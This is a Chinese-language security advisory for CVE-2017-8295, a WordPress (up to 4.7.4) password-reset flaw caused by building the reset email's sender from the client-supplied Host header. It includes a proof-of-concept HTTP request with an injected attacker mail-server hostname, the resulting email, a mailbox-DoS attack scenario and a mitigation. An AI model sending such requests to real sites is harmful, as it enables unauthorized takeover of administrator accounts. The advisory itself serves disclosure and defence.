WordPress曝未經(jīng)授權(quán)的密碼重置漏洞(CVE-2017-8295 )
- 漏洞提交者:Dawid Golunski
- 漏洞編號(hào):CVE-2017-8295
- 發(fā)布日期:2017-05-03
- 修訂版本:1.0
- 漏洞危害:中/高
一、漏洞
WordPress內(nèi)核<= 4.7.4存在未經(jīng)授權(quán)的密碼重置(0day)
二、背景
WordPress是一個(gè)以PHP和MySQL為平臺(tái)的自由開源的博客軟件和內(nèi)容管理系統(tǒng)。截止2017年2月,Alexa排名前1000萬的站點(diǎn)中約有27.5%使用該管理系統(tǒng)。據(jù)報(bào)道有超過6000萬站點(diǎn)使用WordPress進(jìn)行站點(diǎn)管理或者作為博客系統(tǒng)。
三、介紹
WordPress的重置密碼功能存在漏洞,在某些情況下不需要使用之前的身份令牌驗(yàn)證獲取密碼重置鏈接。
該攻擊可導(dǎo)致攻擊者在未經(jīng)授權(quán)的情況下獲取用戶Wordpress后臺(tái)管理權(quán)限。
四、描述
該漏洞源于WordPress默認(rèn)使用不可信的數(shù)據(jù)。當(dāng)生成一個(gè)密碼重置郵件時(shí)應(yīng)當(dāng)是僅發(fā)送給與帳戶相關(guān)聯(lián)的電子郵件。
從下面的代碼片段可以看出,在調(diào)用PHP mail()函數(shù)前創(chuàng)建了一個(gè)From email頭
- ------[ wp-includes/pluggable.php ]------
- ...
- if ( !isset( $from_email ) ) {
- // Get the site domain and get rid of www.
- $sitename = strtolower( $_SERVER['SERVER_NAME'] );
- if ( substr( $sitename, 0, 4 ) == 'www.' ) {
- $sitename = substr( $sitename, 4 );
- }
- $from_email = 'wordpress@' . $sitename;
- }
- ...
- -----------------------------------------
正如我們所看到的,Wordpress為了生成重置郵件創(chuàng)建的一個(gè)From/Return-Path(發(fā)件人/收件人)頭,使用SERVER_NAME變量以獲取服務(wù)器的主機(jī)名。
然而,諸如Apache的主流web服務(wù)器默認(rèn)使用由客戶端提供的主機(jī)名來設(shè)置SERVER_NAME變量(參考Apache文檔)
由于SERVER_NAME可以進(jìn)行修改,攻擊者可以任意設(shè)置該值,例如attackers-mxserver.com
這將導(dǎo)致Wordpress的$from_email變?yōu)閣ordpress@attackers-mxserver.com,最終導(dǎo)致包含F(xiàn)rom/Return-Path(發(fā)件人/收件人)設(shè)置的密碼重置郵件發(fā)送到了該惡意郵件地址。
至于攻擊者可以修改哪那一封電子郵件的頭信息,這取決于服務(wù)器環(huán)境(參考PHP文檔)
基于郵件服務(wù)器的配置,可能導(dǎo)致被修改過郵件頭的惡意收件人/發(fā)件人地址的電子郵件發(fā)送給WordPress用戶。
這使得攻擊者能夠在不需要進(jìn)行交互就可以截取本該是需要進(jìn)行交互才能進(jìn)行的操作的密碼重置郵件。
攻擊場景:
如果攻擊者知道用戶的電子郵件地址。為了讓密碼重置郵件被服務(wù)器拒收,或者無法到達(dá)目標(biāo)地址。他們可以先對用戶的電子郵件帳戶進(jìn)行DoS攻擊(通過發(fā)送多個(gè)超過用戶磁盤配額的大文件郵件或攻擊該DNS服務(wù)器)
某些自動(dòng)回復(fù)可能會(huì)附加有郵件發(fā)送副本
發(fā)送多封密碼重置郵件給用戶,迫使用戶對這些沒完沒了的密碼重置郵件進(jìn)行回復(fù),回復(fù)中就包含的密碼鏈接會(huì)發(fā)送給攻擊者。
五、POC
如果攻擊者將類似下面的請求發(fā)送到默認(rèn)可通過IP地址訪問的Wordpress安裝頁面(IP-based vhost):
- -----[ HTTP Request ]----
- POST /wp/wordpress/wp-login.php?action=lostpassword HTTP/1.1
- Host: injected-attackers-mxserver.com
- Content-Type: application/x-www-form-urlencoded
- Content-Length: 56
- user_login=admin&redirect_to=&wp-submit=Get+New+Password
- ------------------------
WordPress將觸發(fā)管理員賬戶的密碼重置功能
由于修改了主機(jī)頭,SERVER_NAME變量將被設(shè)置為攻擊者所選擇的主機(jī)名,因此Wordpress會(huì)將以下電子郵件頭信息和正文傳遞給/usr/bin/sendmail
- ------[ resulting e-mail ]-----
- Subject: [CompanyX WP] Password Reset
- Return-Path: <wordpress@attackers-mxserver.com>
- From: WordPress <wordpress@attackers-mxserver.com>
- Message-ID: <e6fd614c5dd8a1c604df2a732eb7b016@attackers-mxserver.com>
- X-Priority: 3
- MIME-Version: 1.0
- Content-Type: text/plain; charset=UTF-8
- Content-Transfer-Encoding: 8bit
有人請求將以下賬戶的密碼進(jìn)行重置:
- http://companyX-wp/wp/wordpress/
- Username: admin
如果是弄錯(cuò)了,直接忽略該郵件就好。重置密碼請?jiān)L問以下地址:
- http://companyx-wp/wp/wordpress/wp-login.php?action=rp&key=AceiMFmkMR4fsmwxIZtZ&login=admin%3E
正如我們看到的,Return-Path, From, 以及Message-ID字段都是攻擊者控制的域
通過bash腳本替換/usr/sbin/sendmail以執(zhí)行頭的驗(yàn)證:
- #!/bin/bash
- cat > /tmp/outgoing-email
六、業(yè)務(wù)影響
在利用成功的基礎(chǔ)上,攻擊者可重置用戶密碼并且未經(jīng)授權(quán)獲取WordPress賬戶訪問權(quán)限。
七、系統(tǒng)影響
WordPress至最新版本4.7.4全部受影響
八、解決方案
目前沒有官方解決方案可用。作為臨時(shí)解決方案,用戶可以啟用UseCanonicalName執(zhí)行SERVER_NAME靜態(tài)值(參考Apache)
九、參考文獻(xiàn)
- https://legalhackers.com
- https://ExploitBox.io
- Vendor site:
- https://wordpress.org
- http://httpd.apache.org/docs/2.4/mod/core.html#usecanonicalname
- http://php.net/manual/en/function.mail.php
- https://tools.ietf.org/html/rfc5321